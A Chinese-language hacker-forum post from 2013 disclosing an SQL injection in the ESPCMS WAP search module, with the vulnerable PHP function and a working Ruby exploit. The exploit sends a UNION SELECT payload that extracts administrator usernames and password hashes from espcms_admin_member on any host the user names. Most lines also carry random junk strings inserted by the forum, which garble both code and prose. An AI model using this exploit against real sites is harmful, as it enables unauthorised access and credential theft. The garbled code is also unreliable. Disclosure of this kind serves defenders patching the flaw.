找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2413|回复: 0
打印 上一主题 下一主题

espcms wap模块搜索处SQL注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 18:31:52 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
0×0 漏洞概述0×1 漏洞细节
3 _9 E* h/ n6 o9 g0×2 PoC- ?/ d- N9 n3 i9 b) s2 d2 {
7 X# f. j* J" |1 S6 Y) S

  e. b: F. o  @2 E1 M
# g% E- @& Y" D2 E; X  S0×0 漏洞概述
& T" J  e9 b' ^  [- ]& {3 u, |% S) i$ G
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。% e" U! X! D' `* d" i4 O0 A
其在处理传入的参数时考虑不严谨导致SQL注入发生  Q" m: Q! F9 C$ a/ r. M

8 P- r" Y# `% X' c2 G6 U* Y3 p* P7 ]2 i& V* S* ?  S
0×1 漏洞细节4 y; F) c2 [- y# J, v- M- t
+ M% W% m  d5 ^3 O$ |! R! P
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。. x( |8 P8 t) a5 m
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
6 I6 L% ?  ~1 |1 x7 b而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。1 k- }2 K; j; l+ [

( n; |9 x6 o9 g$ k7 [在/interface/3gwap_search.php文件的in_result函数中:
1 a6 K& u' T$ k8 e& {  j: Y8 T6 j- M% L) z

- u) C3 N7 \' C) C' W, w) M
' ~( P) y1 ^% L3 t8 |+ C6 d       function in_result() {
6 s2 r5 T' S+ m6 Q$ D& s! `            ... ... ... ... ... ... ... ... ...$ o. h: E( b4 Q$ n( n9 F! O
            $urlcode = $_SERVER[ 'QUERY_STRING '];
' B0 \  k+ t# n" n; S) G  w. Y: _5 f            parse_str(html_entity_decode($urlcode), $output);
+ N" Q9 R$ C( Z' q' `
% [. }0 M- L7 {, v            ... ... ... ... ... ... ... ... ...
- U1 H4 g4 H9 y            if (is_array($output['attr' ]) && count($output['attr']) > 0) {/ Y, @/ g+ K5 k. z+ v
" l& W' m: X. Z4 s% ]. V9 e& N
                  $db_table = db_prefix . 'model_att';) ^: M7 Z- c8 P6 ^% L+ b+ c
0 M7 \2 A) ~8 n. e
                   foreach ($output['attr' ] as $key => $value) {
& m# a7 R- K/ a% Y1 y                         if ($value) {7 t# |0 B! u2 t
7 ~4 z3 N8 N/ S3 f
                              $key = addslashes($key);
, K  D4 h; i5 s* [! K8 X                              $key = $this-> fun->inputcodetrim($key);
; q) r6 z% `1 e0 b                              $db_att_where = " WHERE isclass=1 AND attrname='$key'";
  q7 s, {: ^8 g" X0 Y4 e9 f: k0 O! c                              $countnum = $this->db_numrows($db_table, $db_att_where);9 _4 y0 X8 ^2 |1 ?$ N5 `0 U
                               if ($countnum > 0) {
: j& J3 _% }7 e1 z+ ^                                    $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
  g9 }- k! B( h                              }: a) R5 X7 t$ y
                        }
# z. P4 |, e& o                  }( a: m6 B  L# z) o
            }
! n; ?: @1 `6 I4 U& e            if (!empty ($keyword) && empty($keyname)) {
  l; M! o( t; u" r, V+ g: k# U5 n                  $keyname = 'title';
* c  b# k1 p& h0 E6 N                  $db_where.= " AND a.title like '%$keyword%'" ;# U% V( L; U  L  Q' a
            } elseif (!empty ($keyword) && !empty($keyname)) {& t* d6 z: S- c8 X/ m
                  $db_where.= " AND $keyname like '% $keyword%'";3 d- q/ M1 q* w
            }& u2 `/ M' w+ i1 T$ @
            $pagemax = 15;: g' I  m: L0 C# x; r0 ~

8 b' o5 O' o: I& A; c( c            $pagesylte = 1;6 }9 f' W% g7 T' |9 s( O

; G2 o8 `$ x# k: b& b: e4 C- z6 c             if ($countnum > 0) {/ }! K1 p, k" T

" e9 x8 y. K/ _% n/ v$ Y                  $numpage = ceil($countnum / $pagemax);
( H' n$ |& t1 y4 n, z0 ]            } else {
/ \+ H$ Y7 g! v8 |) h                  $numpage = 1;
4 z9 @1 V5 P) |8 ]- ~  b; Z6 p            }3 q& J* Y1 y- M: {2 q
            $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
& W5 [4 G- x, i9 v+ ~            $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);8 t5 P9 ~2 ~% A- F8 d7 X
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' );            $rs = $this->db->query($sql);  V1 V* Q( f7 N( Z2 i! o
            ... ... ... ... ... ... ... ... ...  Z1 D4 }/ U/ h
      }
: L7 f# o4 X! j; \2 O4 ^2 K* \" D8 f# o; c

$ ?2 q. h& p$ z: X# ~: x7 `, ]0×2 PoC
- \1 d; k/ F6 Y* A/ s5 \  P; s1 x% Z* r1 u

1 a' c% {+ N7 G' y
7 M  Z* h! P& H0 `4 Irequire "net/http"
3 ?) L. \7 U: B
' O# N! h: ~& u# G! N! ]* L. zdef request(method, url)
. e+ M/ J2 D" _6 t- u& n2 I    if method.eql?("get")
# y, s+ z8 I- s: g        uri = URI.parse(url), H9 A1 m- f2 {+ _) z
        http = Net::HTTP.new(uri.host, uri.port)) ^5 @- H1 j  u  N( l% Z4 h
        response = http.request(Net::HTTP::Get.new(uri.request_uri))
6 V  P5 M  I- Q" f/ _& }0 X8 H9 s        return response
( {9 f9 C4 Z# C& j( O    end6 f' L! Y# E# e' Q
end
  e1 p3 G8 K% e- m& P3 q
( Z  o  u9 B, ?. Idoc =<<HERE
- Q6 o# v2 c3 g/ V& S! e- I-------------------------------------------------------
' k/ S5 X+ N8 [0 hEspcms Injection Exploit7 u" H6 X% G( @! r) Y
Author:ztz* D. r7 y6 _0 J
Blog:http://ztz.fuzzexp.org/9 G6 `* n5 S) C. B; [5 _
-------------------------------------------------------, M% F4 ~- H! |! }4 u) v
: H' a! E# u* f
HERE; g0 z5 U! B& c2 i: X3 M! F

8 r( m4 y2 H$ O" ?# Lusage =<<HERE
. O( K; k/ m; w: e! CUsage:         ruby #{$0} host port path
, X4 w/ P( w1 P( @- O; lexample:     ruby #{$0} www.target.com 80 /
! W* P1 U/ c  [HERE
" o$ V( K. F& Q( F3 }
5 |: p3 N& Y/ P+ l  B3 s7 l- @" gputs doc$ O0 w- G! u! U: m; [4 a
if ARGV.length < 3
6 e$ C/ M3 _# g: l; z) @7 ?    puts usage+ w& T/ V* ?# S. Z. F
else
# A  E4 V0 e0 p9 t5 Z8 p- N% m1 L    $host = ARGV[0]; {! m1 g. K4 x/ x+ K' i
    $port = ARGV[1]
# R& I$ \5 I; t. e    $path = ARGV[2]. U& C; B" @! J, I" K1 ^* `

4 D7 }" z) ~" [# b$ M, f    puts "
  • send request..."
    * p  I; ?$ B" i2 {" _6 G. W3 d! ~    url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&. |! O' \: p/ ~5 F" t( w
    attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,136 N) J5 p7 |* ]" }" O4 J
    ,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
    . _" |+ j5 N; Z2 t5 Z,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
    % Y* V  H; K& @    response = request("get", url)
    : j8 t5 E) `; M- g    result = response.body.scan(/\w+&\w{32}/)
    & l. M2 Q5 G/ c  A9 |    puts result4 J; }4 [' _6 f: Q- d0 X, l
    end
    $ w( X' L% H. ?# p: L
    * |2 f: Z* \+ T5 ]2 I2 d: L
  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    快速回复 返回顶部 返回列表